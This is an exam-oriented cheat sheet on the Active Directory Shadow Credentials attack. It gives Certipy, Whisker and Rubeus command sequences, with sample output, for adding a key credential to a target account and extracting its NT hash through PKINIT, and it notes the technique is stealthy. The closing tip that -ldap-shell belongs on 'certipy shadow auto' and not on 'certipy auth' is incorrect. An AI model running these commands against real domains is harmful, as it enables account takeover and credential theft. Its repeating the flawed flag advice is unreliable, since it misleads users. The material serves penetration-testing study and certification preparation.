Shadow Credentials Attack
msDS-KeyCredentialLink manipulation via Whisker or Certipy β obtaining NT hashes of users and computers without password resets using PKINIT.
How Shadow Credentials Work
Windows supports PKINIT (public key authentication) for Kerberos. The msDS-KeyCredentialLink attribute on a user/computer object stores trusted public keys for certificate-based authentication. If you can write to this attribute (via GenericWrite, WriteProperty, or Owns), you can add your own key pair β then authenticate as that user using PKINIT and extract their NT hash without ever knowing their password.
Requirements
- Write access to
msDS-KeyCredentialLinkon a user or computer object (BloodHound:GenericWrite,WriteProperty,Ownsedges) - Domain functional level 2016+ (PKINIT must be supported)
- A Domain Controller running Active Directory Certificate Services is NOT required β PKINIT works without ADCS
Attack with Certipy
# Auto mode β does everything: add key, authenticate, get hash, clean up
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -dc-ip 10.10.10.5
# Output:
# [*] Targeting user 'targetuser'
# [*] Generating certificate
# [*] Adding Key Credential with device ID 'abc123...'
# [*] Authenticating as 'targetuser' with the certificate
# [*] Got hash for 'targetuser@corp.local': aad3b435b51404ee:e3e3e3...
# Manual β if you need control over each step:
# Step 1: Add your key to the target
certipy shadow add -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -dc-ip 10.10.10.5
# Saves: targetuser.pfx, targetuser_key.pem, device ID
# Step 2: Authenticate as target using your certificate
certipy auth -pfx targetuser.pfx -dc-ip 10.10.10.5
# Output: NT hash + TGT saved to targetuser.ccache
# Step 3: Clean up β remove the key credential
certipy shadow remove -u 'jdoe@corp.local' -p 'Password1!' \
-account 'targetuser' -device-id <UUID> -dc-ip 10.10.10.5
Attack with Whisker (Windows)
# Whisker β C# tool for Shadow Credentials
# https://github.com/eladshamir/Whisker
# List current key credentials on target
.Whisker.exe list /target:targetuser /domain:corp.local /dc:DC01
# Add shadow credential
.Whisker.exe add /target:targetuser /domain:corp.local /dc:DC01 /path:output.pfx /password:certPass123
# Output includes Rubeus command to use the cert:
.Rubeus.exe asktgt /user:targetuser /certificate:output.pfx \
/password:certPass123 /domain:corp.local /dc:DC01 /getcredentials /show
# getcredentials flag extracts NT hash from PAC in TGT
Exam Tips
- Shadow Credentials is a stealthy alternative to password reset (ForceChangePassword) β no account lockout, no password change notification
- BloodHound edges:
GenericWriteon any user/computer β Shadow Credentials attack is viable - Verify the domain supports PKINIT before attempting:
certipy findoutput shows DC cert capabilities - The
-accountflag accepts the sAMAccountName (e.g.,jdoenotjdoe@corp.local) - If PKINIT-based auth fails (DC lacks a KDC certificate), use the auto mode with LDAP shell fallback:
certipy shadow auto -ldap-shell -u jdoe@corp.local -p 'Pass' -account targetuser -dc-ip DC_IPβ the-ldap-shellflag belongs onshadow auto, not oncertipy auth